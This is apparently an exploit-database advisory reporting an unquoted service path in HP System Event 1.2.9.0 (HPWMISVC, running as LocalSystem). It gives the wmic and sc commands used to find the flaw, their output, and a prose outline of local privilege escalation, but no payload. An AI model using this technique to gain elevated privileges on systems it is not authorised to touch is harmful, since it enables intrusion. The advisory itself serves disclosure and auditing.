HP System Event 1.2.9.0 – ‘HPWMISVC’ Unquoted Service Path
# Exploit Title: HP System Event 1.2.9.0 - 'HPWMISVC' Unquoted Service Path # Discovery by: Roberto Piña # Discovery Date: 2020-02-14 # Vendor Homepage:https://www8.hp.com/mx/es/home.html # Software Link:ftp://ftp.hp.com/pub/softpaq/sp70001-70500/sp70439.exe # HP Development Company, L.P. # Tested Version: 1.2.9.0 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Home x64 en # Step to discover Unquoted Service Path: C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "HP" | findstr /i /v """ HPWMISVC HPWMISVC C:\Program Files (x86)\Hewlett-Packard\HP System Event\HPWMISVC.exe Auto C:\>sc qc HPWMISVC [SC] QueryServiceConfig SUCCESS SERVICE_NAME: HPWMISVC TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\Hewlett-Packard\HP System Event\HPWMISVC.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : HPWMISVC DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\> # Exploit: # A successful attempt would require the local user to be able to insert their code in the system # root path undetected by the OS or other security applications where it could potentially be # executed during application startup or reboot. If successful, the local user's code would # execute with the elevated privileges of the application. |